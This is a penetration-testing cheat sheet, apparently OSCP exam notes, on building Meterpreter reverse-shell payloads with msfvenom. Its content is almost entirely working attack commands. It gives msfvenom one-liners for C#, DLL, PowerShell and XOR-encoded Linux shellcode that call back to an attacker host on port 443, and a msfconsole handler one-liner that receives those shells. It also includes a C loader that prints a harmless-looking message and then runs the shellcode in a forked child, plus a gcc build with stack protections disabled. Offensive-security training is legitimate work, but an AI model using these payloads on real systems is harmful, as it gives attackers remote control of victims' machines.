> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/exploitation-tools/msfvenom.md).

# Msfvenom

* C Sharp Meterpreter Shellcode
  * Always use `windows/x64/meterpreter/reverse_https` if tcp payload doesn't work!!
  * Use `windows/shell_reverse_tcp` for non-meterpreter shell

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp
```

* Metasploit's Exploit Handler (One-liner)

```
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; set ExitOnSession false; exploit -j"
```

<details>

<summary>Other Shellcode</summary>

* DLL

```bash
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.45.219 LPORT=443 EXITFUNC=thread -f dll -o met.dll
```

* Powershell

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f ps1
```

* Linux

```bash
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 prependfork=true -f c -t 300 -e x64/xor_dynamic
# msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; set encoder x64/xor_dynamic; set ExitOnSession false; exploit -j"

```

```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

// Shellcode
unsigned char buf[] = "\xeb\x27\x5b\x53.."; 

int main() {
    printf("I love programming.\n"); // Print the custom message

    pid_t pid = fork(); // Create a child process

    if (pid == 0) {
        // Child process: Run the shellcode
        int (*ret)() = (int(*)())buf;
        ret();
    } else if (pid > 0) {
        // Parent process: Continue and return 3
        printf("Code executed in child process.\n");
        return 3;  // Parent process returns 3
    } else {
        // Fork failed
        perror("Fork failed");
        return -1;
    }
}

```

```bash
# docker pull gcc:4.9
docker run --rm -v "$PWD":/usr/src/myapp -w /usr/src/myapp gcc:4.9 gcc -o test.elf shell.c -z execstack -fno-stack-protector
```

</details>

```
# docker pull gcc:4.9
docker run --rm -v "$PWD":/usr/src/myapp -w /usr/src/myapp gcc:4.9 gcc -o test.elf shell.c -z execstack -fno-stack-protector
```